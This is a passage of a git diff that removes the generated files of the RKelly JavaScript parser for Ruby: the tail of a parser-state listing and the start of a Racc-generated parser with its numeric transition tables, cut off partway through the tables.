-state 533
-
- 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 540
-
-state 534
-
- 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn IN Expr ")" Statement _
-
-  $default      reduce using rule 250 (IterationStatement)
-
-
-state 535
-
- 270) CaseBlock : "{" CaseClausesOpt DefaultClause CaseClausesOpt "}" _
-
-  $default      reduce using rule 270 (CaseBlock)
-
-
-state 536
-
- 276) DefaultClause : DEFAULT ":" SourceElements _
-
-  $default      reduce using rule 276 (DefaultClause)
-
-
-state 537
-
- 275) CaseClause : CASE Expr ":" SourceElements _
-
-  $default      reduce using rule 275 (CaseClause)
-
-
-state 538
-
- 282) TryStatement : TRY Block CATCH "(" IDENT ")" Block FINALLY Block _
-
-  $default      reduce using rule 282 (TryStatement)
-
-
-state 539
-
-  33) Property : IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody "}" _
-
-  $default      reduce using rule 33 (Property)
-
-
-state 540
-
- 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement _
-
-  $default      reduce using rule 247 (IterationStatement)
-
diff --git a/lib/rkelly/generated_parser.rb b/lib/rkelly/generated_parser.rb
deleted file mode 100644
index 6187e84b14..0000000000
--- a/lib/rkelly/generated_parser.rb
+++ /dev/null
@@ -1,3239 +0,0 @@
-#
-# DO NOT MODIFY!!!!
-# This file is automatically generated by Racc 1.4.6
-# from Racc grammer file "".
-#
-
-require 'racc/parser.rb'
-
-  require "rkelly/nodes"
-
-module RKelly
-  class GeneratedParser < Racc::Parser
-
-module_eval(<<'...end parser.y/module_eval...', 'parser.y', 853)
-  include RKelly::Nodes
-
-  def allow_auto_semi?(error_token)
-    error_token == false || error_token == '}' || @terminator
-  end
-
-  def property_class_for(ident)
-    case ident
-    when 'get'
-      GetterPropertyNode
-    when 'set'
-      SetterPropertyNode
-    end
-  end
-
-  def debug(*args)
-    logger.debug(*args) if logger
-  end
-...end parser.y/module_eval...
-##### State transition tables begin ###
-
-clist = [
-'499,192,202,318,176,196,22,23,24,320,457,189,172,292,297,322,40,326',
-'509,453,456,247,111,208,207,206,92,398,244,28,328,119,42,211,41,245',
-'214,454,215,327,208,207,206,153,154,43,44,119,238,237,416,369,214,369',
-'215,228,229,423,173,367,193,27,25,26,87,235,236,248,246,32,190,86,174',
-'399,33,507,456,45,46,47,48,293,298,213,376,213,498,191,201,317,175,195',
-'369,228,229,319,369,188,464,291,296,321,409,325,22,23,24,74,233,234',
-'67,73,80,250,40,70,180,526,249,72,81,69,213,183,36,75,77,28,78,79,42',
-'66,41,71,76,119,228,229,238,237,220,119,221,43,44,119,214,331,215,381',
-'116,330,117,238,237,235,236,389,119,27,25,26,31,123,213,124,418,32,389',
-'65,235,236,33,387,388,45,46,47,48,394,22,23,24,74,387,388,67,73,80,68',
-'40,70,213,506,417,72,213,69,233,234,36,75,77,28,78,79,42,66,41,71,76',
-'395,382,233,234,213,385,386,396,43,44,239,240,241,242,335,334,385,386',
-'163,162,475,238,237,213,27,25,26,31,390,391,392,393,32,389,65,160,161',
-'33,235,236,45,46,47,48,397,22,23,24,74,387,388,67,73,80,68,40,70,225',
-'226,227,72,81,69,222,223,36,75,77,28,78,79,42,66,41,71,76,460,405,158',
-'159,213,233,234,461,43,44,390,391,392,393,228,229,385,386,238,237,406',
-'238,237,213,27,25,26,31,164,165,166,167,32,389,65,235,236,33,235,236',
-'45,46,47,48,462,22,23,24,74,387,388,67,73,80,68,40,70,225,226,227,72',
-'81,69,228,229,36,75,77,28,78,79,42,66,41,71,76,400,380,233,234,213,233',
-'234,115,43,44,239,240,241,242,228,229,385,386,238,237,212,238,237,213',
-'27,25,26,31,239,240,241,242,32,389,65,235,236,33,235,236,45,46,47,48',
-'370,22,23,24,74,387,388,67,73,80,68,40,70,254,474,253,72,213,69,228',
-'229,36,75,77,28,78,79,42,66,41,71,76,341,472,233,234,422,233,234,522',
-'43,44,213,463,373,469,422,374,385,386,238,237,492,470,471,422,27,25',
-'26,31,421,338,473,422,32,401,65,235,236,33,333,332,45,46,47,48,420,22',
-'23,24,74,419,246,67,73,80,68,40,70,230,231,232,72,81,69,245,244,36,75',
-'77,28,78,79,42,66,41,71,76,329,168,233,234,169,222,223,301,43,44,129',
-'130,131,132,133,134,135,136,139,137,138,230,231,232,27,25,26,31,230',
-'231,232,213,32,372,65,295,213,33,375,394,45,46,47,48,395,22,23,24,74',
-'396,128,67,73,80,68,40,70,230,231,232,72,81,69,397,476,36,75,77,28,78',
-'79,42,66,41,71,76,230,231,232,213,477,222,223,479,43,44,129,130,131',
-'132,133,134,135,136,139,137,138,230,231,232,27,25,26,31,230,231,232',
-'170,32,481,65,295,171,33,487,488,45,46,47,48,290,22,23,24,74,490,128',
-'67,73,80,68,40,70,230,231,232,72,491,69,243,493,36,75,77,28,78,79,42',
-'66,41,71,76,230,231,232,263,257,125,126,496,43,44,129,130,131,132,133',
-'134,135,136,139,137,138,225,226,227,27,25,26,31,230,231,232,255,32,404',
-'65,246,245,33,244,243,45,46,47,48,504,22,23,24,74,243,128,67,73,80,68',
-'40,70,230,231,232,72,65,69,408,487,36,75,77,28,78,79,42,66,41,71,76',
-'230,231,232,230,231,232,412,65,43,44,230,231,232,230,231,232,230,231',
-'232,230,231,232,513,204,27,25,26,31,230,231,232,203,32,516,65,517,518',
-'33,180,520,45,46,47,48,65,22,23,24,74,198,197,67,73,80,68,40,70,150',
-'151,152,72,487,69,525,183,36,75,77,28,78,79,42,66,41,71,76,225,226,227',
-'155,156,157,527,528,43,44,225,226,227,230,231,232,529,184,531,115,533',
-'186,535,84,27,25,26,31,82,65,539,187,32,,65,,,33,,,45,46,47,48,,22,23',
-'24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71',
-'76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47',
-'48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79',
-'42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,',
-'33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75',
-'77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,',
-',,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72',
-',69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40',
-'70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,',
-',,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67',
-'73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,',
-'43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23',
-'24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41,71',
-'76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47',
-'48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42',
-'66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33',
-',,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81,69,,,36,75,77',
-'28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,',
-'32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,81',
-'69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67,73,80,68,40',
-'70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,,,,43,44,,,,',
-',,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22,23,24,74,,,67',
-'73,80,68,40,70,,,,72,81,69,,,36,75,77,28,78,79,42,66,41,71,76,,,,,,',
-',,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46,47,48,,22',
-'23,24,74,,,67,73,80,68,40,70,,,,72,,69,,,36,75,77,28,78,79,42,66,41',
-'71,76,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,31,,,,,32,,65,,,33,,,45,46',
-'47,48,,22,23,24,74,,,67,73,80,68,40,70,,,,72,384,69,,,36,75,77,28,78',
-'79,42,66,41,71,76,,,,,,,222,223,43,44,,129,130,131,132,133,134,135,136',
-'139,137,138,,,27,25,26,31,,22,23,24,32,,65,,,33,,40,45,46,47,48,,111',
-',,,92,,128,28,,68,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22',
-'23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,',
-',43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47',
-'48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87',
-'22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,',
-',,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46',
-'47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26',
-'87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,',
-',,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45',
-'46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25',
-'26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41',
-',,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,',
-'45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,,22,23,24,32,,86,,,33,425,40,45,46,47,48,,111,,,,92,,,28,,',
-'42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,',
-'33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,',
-',,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28',
-',,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86',
-',,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,',
-',,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,',
-',28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32',
-',86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,',
-',,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,',
-'92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,,22,23,24',
-'32,,86,,,33,251,40,45,46,47,48,,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,258,86,,,33,40,,45,46,47,48',
-'111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22',
-'23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,',
-',43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47',
-'48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87',
-'22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,',
-',,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46',
-'47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26',
-'87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,',
-',,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45',
-'46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25',
-'26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41',
-',,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,',
-'45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27',
-'25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,',
-'41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40',
-',45,46,47,48,111,,,,92,,,28,,,42,316,41,,,,,,,,,,,43,44,,,,,,,,,,,,',
-',,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,',
-',42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,',
-',33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,',
-',,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,',
-'28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,',
-'86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,',
-',,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,,92',
-',,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32',
-',86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,',
-',,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111,,,',
-'92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23,24',
-',32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43,44',
-',,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
-'24,,32,,86,,,33,40,,45,46,47,48,111,,,,92,,,28,,,42,,41,,,,,,,,,,,43',
-'44,,,,,,,,,,,,,,,27,25,26,87,22,23,24,,32,,86,,,33,40,,45,46,47,48,111',
-',,,92,,,28,,,42,,41,,,,,,,,,,,43,44,,,,,,,,,,,,,,,27,25,26,87,22,23',
